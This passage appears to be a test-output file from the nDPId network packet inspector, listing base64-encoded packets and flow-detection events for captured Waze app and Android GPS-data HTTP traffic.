TT5wNBySCZIU5hO4d79cgfcAQhynrBaZIq23TldwMEbPK4Gzh4LEJ8wDxX3AFdBO92EO7bRAjg71BqQ04pu2pGcjLmv5yZ3wvGIiE4SJDLwWP\/KR4DUFw4l4VxmxZxGuAmbu1wyeGQ43UdmVlt8JpwA5wG4pTCfxwb7zDffFbKt0I9g4bAffv8="} +00407{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":804334,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJRAABAGEEouM622CggAAQG7jQQxjSuwznLmL1AQ\/\/8pQwAA"} +00494{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":804449,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ABoRAAACABoRAAABCABFAABljY1AAEAGxxMKCAABLjOtto0EAbvOcuYvMY0rsFAY\/\/+0VgAAYzgcfnOutMjMmE3N5HYCaVeQQOR\/ta2z2l+P33hyM54FnCnzYb7aruJ72WdGvn4oM1MU4eW4VtF58taNLQ=="} +00407{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":854914,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoH69AAEAGNS8KCAABLjOtto0GAbtbbHWqpJOZiFAQ\/\/8r7gAA"} +00457{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587870,"pkt_ts_usec":163940,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsRAAEAGQsMKECWdriXnUaUQFGaA18okWhY9doAYAVcm3gAAAQEICgAIbJ1BJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} +02324{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":459664,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdJlAABAGJShBJ4CHCggAAQBQ1oMcOFis48eoXFAQ\/\/+1BwAASFRUUC8xLjEgMjAwIE9LDQpDb25uZWN0aW9uOiBjbG9zZQ0KRGF0ZTogTW9uLCAyOSBKdW4gMjAxNSAxNDoyNDozMSBHTVQNClNlcnZlcjogQ2hlcm9rZWUNCkVUYWc6ICI1NTkxNTIyNT1lZDFiIg0KTGFzdC1Nb2RpZmllZDogTW9uLCAyOSBKdW4gMjAxNSAxNDoxMTo0OSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogNjA2OTkNCg0KATQHAwAjAiONZiUAAO0bBzsIMh3rBzsH8HiADA4GBzsIJ2cADA6AAgMAQrv1wIACAwBCu\/XACAA2FA0REBIREQ8ODQwLCgkHFkYNEBAREA8ODQsLCgoKCRVGDRUREBAODg0LCgkJCQkVRgMSCgQEEQd7HQEQIWWYaeoWMWACQNSuoQ1EsJf9t43\/\/6lhEEXJCyc3I0UF1v\/8ABMeJAJIAhAPSAIHOwAAAAwAECFlAAAF\/\/\/hxQJVIWar5ZMINiIHfZ7YoQycSpZuVuj\/\/6kYpC7tpCZYpt0G1wBO\/5UciwJdAhYPVAIHOwAAANQAVSFmAAAVABLYdAMcIWbjhxZfM6YAbbMioQ0zTsJmcVX\/\/6dLmLIr4CcQX0v9MQAJABMfov1O\/eANcgIHOwAAAAQAHCFmAAA0AAu9zAROIWaOcaSjNioF3DCwoQ1hkJcNJEP\/\/6hgK4FmZyZOzHMFvwAl\/+Yc4QKoAl8O2wIHOwAAAPIATiFmAP\/q\/\/9FSwU5IWYRpmuEN2QCJEvHoQyilMIYhtL\/\/6VYDxVkMCaK9PX8jQAmAC4fW\/z5\/YgNDAIHOwAAAOkAOSFmAAAn\/\/iq9QYzIWbj5wQYMn4AETH4oQ4ojZelKAf\/\/6iAhLpjQSc18OAE8AAw\/\/Ad1AJAAeUPuAIHOwAAAAkAMyFmAABKAAAtEAccIWV+DE43MRUEY6zPoQ2ycRi7RVH\/\/6ewkCeBnyeG8ZUDSv\/p\/8EnUg1yC6sIDwIHOwAAAOgAHCFlAAAUAA9z9AkQIWbN0vS4L\/4AOYOKoQ5SbuzjcPr\/\/6pNburqzCcCJ3T+LgAP\/\/0U3we2BgYXHwIHOwAAAAEAECFmAP\/h\/\/pAvwpIIWYdgcm2OYoHk9mCoQ17WsKz+4\/\/\/6KkJhoB0iZUq4H65P+hADMenP2R\/eANvQIHOwAAAPoASCFmAP\/0\/\/oUZAs\/IWaAcGg+PwMIJoSqoQ3wm4mbqeX\/\/6WDObfxciRqRZwFcgBN\/\/oVaQGvAYoSZAIHOwAAAOYAPyFmAP\/q\/+y6GQxIIWZni7bCLB4C3ASdoQ1Hd0RRw4T\/\/6iPGaIFcShR0Tv76v\/g\/+8qlfSi9a0F1gIHOwAAAOYASCFmAAAdAAoDqw0GIWadK77\/Kz0Ci025oQ2D5vGYxAP\/\/60TVXCHACexBQ3++QAJACMTPAsWCcQZEgIHOwAAAOgABiFmAP\/i\/\/vQtw4VIWbsFbVZLqwEPrgVoQzxyvAtx9v\/\/6ndr5YwESdid2\/\/Ev\/gAD0VTAe7BvcXpQIHOwAAAOwAFSFmAP\/oAAG4xg8DIWXRPp+yNYMDrt5poQ1eeOsUl9\/\/\/6eMD+c52SYF6p393wBC\/8YRcgbXBcgX3gIHOwAAAOkAAyFlAP\/t\/\/eOdxAwIWYUIxyeLKAEK37DoQyjBUUUywb\/\/6cODQDaCShXh6r7rwATABwpF\/aR9+MGswIHOwAAAOoAMCFmAAAj\/\/xE2xEXIWbswY4iK\/MFMEvzoQ5VN27lAN\/\/\/6l8riSAuCembaYA5v\/k"} +00758{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":92,"source":"waze.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1435587867755,"flow_last_seen":1435587871459,"flow_tot_l4_data_len":1771,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"65.39.128.135","src_port":54915,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"4":"Binary application transfer"},"proto":"HTTP","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"http": {"hostname":"xtra1.gpsonextra.net","url":"xtra1.gpsonextra.net\/xtra2.bin","code":200,"content_type":"application\/octet-stream","user_agent":"Android"}} +00406{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":461917,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozNxAAEAGojwKCAABQSeAh9aDAFDjx6hcHDheBFAQ\/\/8G6QAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"waze.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1435587871656,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45538,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":656080,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8\/jRAAEAGF+wKCAABNubjrLHiAFBcJZMGAAAAAKAC\/\/8UywAAAgQFtAQCCAoACG0yAAAAAAEDAwg="} +00408{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":657385,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJ1AABAG0Zc25uOsCggAAQBQseKj2mz5XCWTB1AS\/\/\/ZAwAA"} +00410{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":657541,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/jVAAEAGF\/8KCAABNubjrLHiAFBcJZMHo9ps+lAQ\/\/\/ZBAAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":103,"source":"waze.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1435587871658,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45540,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":658817,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8NxhAAEAG3wgKCAABNubjrLHkAFDBi1oqAAAAAKAC\/\/\/oPgAAAgQFtAQCCAoACG0yAAAAAAEDAwg="} +00409{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":659994,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJ5AABAG0ZY25uOsCggAAQBQseQ+dKXVwYtaK1AS\/\/\/ZAQAA"} +00409{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":660158,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNxlAAEAG3xsKCAABNubjrLHkAFDBi1orPnSl1lAQ\/\/\/ZAgAA"} +00619{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":689811,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"ABoRAAACABoRAAABCABFAADD\/jZAAEAGF2MKCAABNubjrLHiAFBcJZMHo9ps+lAY\/\/+63QAAR0VUIC9sYW5nX3R0cy9sYW5nLnBvcnR1Z3Vlc2VfYnJfdHRzP3J0c2VydmVyLWlkPTE1IEhUVFAvMS4wDQpIb3N0OiBjcmVzLndhemUuY29tDQpVc2VyLUFnZW50OiAvMy45LjQuMA0KSWYtTW9kaWZpZWQtU2luY2U6IFdlZCwgMDggQXByIDIwMTUgMTI6MTI6MjcgR01UDQo="} +00674{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":106,"source":"waze.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1435587871656,"flow_last_seen":1435587871689,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":20,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45538,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"cres.waze.com","url":"cres.waze.com\/lang_tts\/lang.portuguese_br_tts?rtserver-id=15","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00408{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690083,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJ9AABAG0ZU25uOsCggAAQBQseKj2mz6XCWTolAQ\/\/\/YaQAA"} +00414{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690191,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAq\/jdAAEAGF\/sKCAABNubjrLHiAFBcJZOio9ps+lAY\/\/\/LVQAADQo="} +00408{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690342,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKBAABAG0ZQ25uOsCggAAQBQseKj2mz6XCWTpFAQ\/\/\/YZwAA"} +00615{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690486,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"ABoRAAACABoRAAABCABFAADBNxpAAEAG3oEKCAABNubjrLHkAFDBi1orPnSl1lAY\/\/8BLAAAR0VUIC9zaGllbGRzX2NvbmZfbmV3X2xhdGFtP3J0c2VydmVyLWlkPTE1IEhUVFAvMS4wDQpIb3N0OiByb2Fkc2hpZWxkcy53YXplLmNvbQ0KVXNlci1BZ2VudDogLzMuOS40LjANCklmLU1vZGlmaWVkLVNpbmNlOiBTdW4sIDI5IE1hciAyMDE1IDExOjI5OjUxIEdNVA0K"} +00679{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":110,"source":"waze.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1435587871658,"flow_last_seen":1435587871690,"flow_tot_l4_data_len":253,"flow_min_l4_data_len":20,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45540,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"roadshields.waze.com","url":"roadshields.waze.com\/shields_conf_new_latam?rtserver-id=15","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00409{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690659,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKFAABAG0ZM25uOsCggAAQBQseQ+dKXWwYtaxFAQ\/\/\/YaQAA"} +00413{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690770,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAqNxtAAEAG3xcKCAABNubjrLHkAFDBi1rEPnSl1lAY\/\/\/LVQAADQo="} +00409{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":690911,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKJAABAG0ZI25uOsCggAAQBQseQ+dKXWwYtaxlAQ\/\/\/YZwAA"} +04325{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":745737,"pkt_caplen":2790,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2790,"pkt_l4_len":2756,"pkt":"ABoRAAACABoRAAABCABFAArYdKNAABAGH8ZBJ4CHCggAAQBQ1oMcOF4E48eoXFAQ\/\/8rDAAAAEwVYvba9\/EXiQIHOwAAAOkAFyFmAP\/x\/\/oqvhIPIWUrpFAJPn0IXXc2oQzWKsGHyaf\/\/5+MsH3l1SWrkbn7jv9y\/+getPxX\/LAMxAIHOwAAAOgADyFlAAAbAA2KZxNOIWbMPJCyK48F5453oQ328XDpEQn\/\/6ygFzhlKyeIIBwA7wCU\/7MWUfh8+UcWbQIHOwAAAN8ATiFmAP\/3\/+8jBBRpIWbTu47oPSACcsm8oQy+sL9mFj\/\/\/6IXL61SJyW3\/Qr9lAAUACsfL\/0r\/iIL4QIHOwAAAO4AaSFmAAAdAAryYBUSIWVXfDQKN5oLgg71oQ5Z5pcEDW3\/\/6ixsq6rniYQSAIFdgBf\/w4bgQH3APgPWQIHOwAAAOcAEiFlAP\/j\/\/DxlRZVIWYY8JNEPloEHALIoQ1vQ8GTYDL\/\/6E2rN0R5CWUz7H8P\/+h\/\/se7PxI\/L4MTQIHOwAAANoAVSFmAAAhAAv9sBcTIWa9+lEqMiQFTPQaoQzOSO06IfP\/\/6oEk4\/62yakhOj\/sQA+\/8cVbAgKBlQVkgIHOwAAANUAEyFmAP\/r\/\/wjKhlAIWZMYH+TMBMCY4QOoQ1M90JnLbj\/\/6YuHpxVRCfZm7X8uP\/UAAAqnPZD91MFXQIHOwAAAAwAQCFmAP\/a\/\/\/DKxpKIWYAuMDdNL0AKwngoQzDQ0JGQ9P\/\/6NdNFhluycfB138yQAp\/9cpNfal+DsFDQIHOwAAABAASiFmAP\/f\/\/\/olhs+IWbueQRpLBABTnKQoQ2aAGzw2PD\/\/6sXCtt8iydxBKP\/aQAv\/\/0XKPXx9uMVrgIHOwAAAAMAPiFmAAAYAAAFchwyIWYP4iqSLmsKAQsZoQ2U3UVMQ0H\/\/6MjvEVbRShJJnf7Pf+KAAQoUvVI9sQIbgIHOwAAAOgAMiFmAAAXAA7ASB1aIWZV0viAKqUAlY1joQ33Ym9G8Wj\/\/6zc6lUwbieva2IAiP\/+ABQWWvY3940WlgIHOwABAOsAWiFmAAAUABRNGB9FIWZ4aGxTMF0EHU3DoQxX2hkNpAz\/\/6gU6p1gxSe5wpsDQv\/BAGgm1wzxC3sITgIHOwAAAOMARSFmAP\/2AAo0hCBgIWaQkAOINXgFxFNzoQ3k\/MW4P4H\/\/6fEAq701iaP3\/P8zP+T\/+0dvPzD\/UUOsgIHOwAAAPgAYCFmAABX\/\/xMeAMDwh8BACQaTg0f\/WMAoQzt\/5fuqwAQTIP\/1isq\/\/wAAAc7AgB38E7\/N\/1PAKEMP\/+WXtv\/pDPw\/+meDQJbAAEHOwMABthOCpz9QAChDLP\/wla8\/5iDlQAhaV0BeQACBzsEAF3STv6a\/U8AoQz7\/5b9nQArhXb\/zBwk\/+j\/\/wc7BQAiQE4CRv0zAKEMJv\/CCIUADyUdAE9VwP8WAAEHOwYAARhODQr9XwChDdX\/l5Yj\/4TqKwAhVIcABwACBzsHAEZgThIQ\/VkAoQ1YABisAf+QMHr\/u8KgAe8AAQc7CQADmE4Jq\/1ZAKEN3\/\/s1HYAb0xAAAsNJf9H\/\/8HOwoAeUVO\/uL9LwChDPn\/wqPWACYkTwBbJdn\/QgAABzsLAIKDTuBM\/TAAoQ12\/4mLVgA5vsr\/vg6H\/Zf\/\/wc7DAAtwE4etP0+AKEM3ABEQhYAGaro\/6UzPAFBAAEHOw0AKJxOFJr9cAChDR3\/8YowAFVz0v\/a03b\/ef\/\/BzsOAEQITg+w\/WYAoQyO\/\/AfDv+vl7AAKcqLADf\/\/wc7DwA6+U755v1FAKEM4P\/rBQUAD+v7AA8CF\/7x\/\/8HOxAAQrJOHw\/9PgChDEAARQUiAA0DcQBR3VH\/iQABBzsRAFMJThP8\/V0AoQ33AG7WIP+uIe8AKl4b\/0UAAAc7EgCF3k70Uf0fAKEMTv\/Bd0P\/sIBVAGl2LwGyAAEHOxMAXotOEhn9XgChDaIAcNojABdO5QAJxt395AAABzsUACcnTvUZ\/SEAoQw7\/79VkQAvyhsAEVxLAV8AAQc7FQC4LU76sf1LAKEN8\/+W9Gv\/srKl\/5Urm\/4e\/\/8HOxYAQcdO8uX9HAChDOP\/wYLP\/6zX5QBWpd4BgAABBzsXAFTnTgPQ\/VMAoQxc\/+0q8v+TnAD\/+6h\/\/4T\/\/wc7GAAapk4HHv1LAKEM\/QAW+5MADmdq\/9156v\/\/AAAHOxkAJjtOFzH9MgChDOIAQlc6AB6hsf+KCyb\/+P\/\/BzsaAAKuTguI\/SMAoQxSAEI18AA0HSoAPq9+\/\/z\/\/wc7GwAU7k4Qpv1WAKENOQBs4ckACxauACvmywABAAEHOxwAoBhOHij9PwChDTEARTyX\/7xM8gBNhGEB2QABBzsdAAk5ThSN\/V4AoQ2bAG84Fv\/qq4f\/kx3KAooAAQc7HgAMwE4Iwf1IAKENcgAaqUcAeCkb\/765Xf\/oAAIHOx8AQddOFT79WgChDAMAGP54\/+qcFv+2K6UBRgAABzsgAFw7TgKR\/TYAoQ1a\/8WoRwACvTf\/zihL\/4sAAwc7BAAICQP\/\/i4I\/\/cFAA7\/\/\/\/9\/\/\/9ABAAOzsDEQYAKQc7Tgc7CBdhcAAAAAAAAAA\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQPHAQMEMAESf9Cf9dAW\/9ffkUJODh8T8AQCAnr4LgQDBG989\/vsBr+UFwD\/UAIC\/8FwCZP3SAXf5X+0w3wS+L+\/\/BINABeAUAMETYE7f9Of9LAU79kfm4JADN8X8gQBAoH5xwOtgyh9Af3gCR+QCn\/fuAoA\/+zQB6v3cAXj75\/PwngFOsAgAAwIABoAUAMEeoEq\/9h\/8wASj9s\/p8IsCx8b9AQBAfj74gMnAfR9pv8kB3+n\/P+AKAv9AAswBNP7JATz+N\/swUn7\/XBIAAYDAByAUAMErIFWf+Uf8hAPV9yftYIcCX8b9gQBAaz9igJYgKZ+CAD4CV+X7X8gqA\/6ACbgAtf7uARsBJAHgA3vv\/CwA\/3+AB8AUAME7QE3f\/af8wALt94vxMIKB38j+AQBANv\/kwFY\/47\/AwHQBv+n3v+hGAv3ADNoAHAAJALMDmAg\/rvpgtDP\/\/P6ACGAUAMFMgFEABGf9xAHJ95v1QIABZ8j+gSBAFIA9QAX\/nr\/vAMIB3+X0AABiAn0ADwv\/zABuAGUGWA1PXfhxWEX++f2ACQAUAMFgQD5ADJf\/rACN95f5gH2A58j\/ASB\/1cCkv62fb+A\/QL8A7+zxQFB5\/\/xADW\/\/ggHR\/8sIUBEvDniCBEH8930ACaAUAMFz4DSgFwgCl\/8d9yP90H6Ab8f\/gSA\/rgDWf0r\/SEB7gM4Ar+zu4JiJ\/fvACy\/\/jQJ+\/1EKPBMeyXhSkEX59HzACkAUAMGIYBTgIoAGW\/2j9owCEH\/\/98f\/wSA\/bsEQfuffPMDSgIT\/d\/ntwQCR+nvABb3\/swQY\/pALMBNujvpTCDH28v1ACuAUAMGbIABgL2gKv\/wH9ZAGAIT\/l8UAQSA\/SwEM\/oMfOmEOwFD+\/\/\/tIWCT9\/vAAI4AKwTh\/fwL8BGOY\/wDWCnz8P2AC4AUAMGs\/9ngPGAPa\/p\/9IQJsIn\/N8QAgSA\/FEEQ\/ib\/VWFc\/8f9uBLt4ciH9Hw\/+UwAxgZw\/SwLvA4eSX+ziAnw8H6ADBAUAMG7n8QgSbgT6\/jx8zgM4JL+78IBAUA++4DX\/dF\/dgGJ\/2T9YBzvAhB78fy\/85QBoQc"} +00408{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":746214,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozN1AAEAGojsKCAABQSeAh9aDAFDjx6hcHDhotFAQ\/\/\/8OAAA"} +00887{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":865504,"pkt_caplen":409,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":409,"pkt_l4_len":375,"pkt":"ABoRAAACABoRAAABCABFAAGLdKRAABAG0C025uOsCggAAQBQseQ+dKXWwYtaxlAY\/\/9wEgAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MzEgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTMwMA0KRVRhZzogIjY2YjU1N2NmMmMwYWE2MmE2NjIwYmNmNWRhYTdiNDE3Ig0KU2VydmVyOiBBbWF6b25TMw0KQWdlOiAyNzQNClgtQ2FjaGU6IEhpdCBmcm9tIGNsb3VkZnJvbnQNClZpYTogMS4xIGNjY2RkNTM0OTJkOGQ2MzE1NGYzODZkODE4YzllOTYyLmNsb3VkZnJvbnQubmV0IChDbG91ZEZyb250KQ0KWC1BbXotQ2YtSWQ6IDVfZzMxclZjbEs1YXF6VG5hYU9SYXVpNWRHOVB0bEpwWll2cHdWTlNOZjc2Nkk4WmgyY05ldz09DQoNCg=="} 